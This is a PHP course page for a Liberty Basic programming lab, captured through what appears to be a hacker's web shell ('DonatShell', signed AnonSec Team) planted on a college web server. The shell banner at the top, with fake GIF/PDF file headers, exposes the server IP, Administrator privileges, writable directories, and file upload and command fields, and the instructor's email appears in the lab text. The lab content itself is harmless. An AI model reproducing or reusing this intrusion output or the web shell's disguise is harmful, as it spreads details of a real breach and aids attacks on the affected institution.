GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive//CST1794/Lab10.php
<?
// CST1794/Lab10.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = "10";
$assignmentType = "Lesson";
$assignmentTitle = "Creating Database Tables";
//$evaluationNumber = "";
$evaluationType = "Lab";
//$evaluationTitle = "";
if (!isset($evaluationTitle) || $evaluationTitle == "") { $evaluationTitle = $assignmentTitle; }
if (!isset($evaluationNumber) || $evaluationNumber == "") { $evaluationNumber = $assignmentNumber; }
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; }
if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; } else { $evaluationName = $evaluationType.$evaluationNumber; }
if ($evaluationTitle != '') $evaluationTitle = ': '.$evaluationTitle;
$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<fieldset><legend>Personalized Instruction</legend><span class="normal">
<ol start="1">
  <li>Create a <b><?=$evaluationName?></b> folder inside of your <b>CST1794</b> folder and keep all files created, modified, or used in this lab there (CST1794/<?=$evaluationName?>)</li>
	<li>Write a program called <b><?=$evaluationName?>.bas</b> to perform the following:</li>
<pre class="code">'<b> StudentNameGoesHere</b>
' StudentNameGoesHere
' Lab10

' 1. Initialize myNumber to 2

' 2. Call myFunction three times sending it the following values.
'    Assign the return value of myFunction to myNumber (IE. myNumber=myFunction(stringbelow,myNumber)).
'    "This is the first call of myFunction", myNumber
'    "This is the second call of myFunction", myNumber
'    "This is the third call of myFunction", myNumber

' 3. After the function calls above, add the folowing statements:
'
     print
     print "At the end of the program, the value of myNumber is now ";myNumber;"."
'
'   NOTE: If everything is working correctly, the value of myNumber should now be 256.

' 4. Write a function called myFunction. This function should take two arguments: a string, and a number.
'    The function should contain the following statements:
'
     Print functionString$
     myFunction = functionNumber*functionNumber
     print functionNumber;" squared is ";myFunction
'
'   NOTE: The variable names functionString$ and functionNumber in the three statements above
'         should be replaced with the variable names you used in your FUNCTION statement.

</pre>
NOTE: The program instructions above are written as <a href="dn/lb403win.exe">Liberty Basic v4.03 (lb403win.exe)</a> comments and may be copied directly into your program.
	</li>
	<li>The first program line must be a comment with your name. If you copied the comments above into your program then replace <b>StudentNameGoesHere</b> with your name.
	<li>The second program line must be a comment to identify the program as <b>Lab10</b>. If you copied the comments above into your program then this is already done.
	<li>	
		Submit the Lab for evaluation.
	<ol type="1">
		<li>Zip up the <b><?=$evaluationName?></b> folder into a file called <b><?=$evaluationName?>.zip</b>.</li>
		<li>Send the <b><?=$evaluationName?>.zip</b> file as an attachment using email to <b>jim.martinson@ridgewater.edu</b> with a subject of <span style="white-space:nowrap;"><b><?=$courseNumber?> <?=$evaluationName?> submission</b></span>.</li>
		<li>If you are not using Ridgewater's email system then enter your name as the first line of the message.</li>
	</ol>
</li>
</ol>
</span></fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team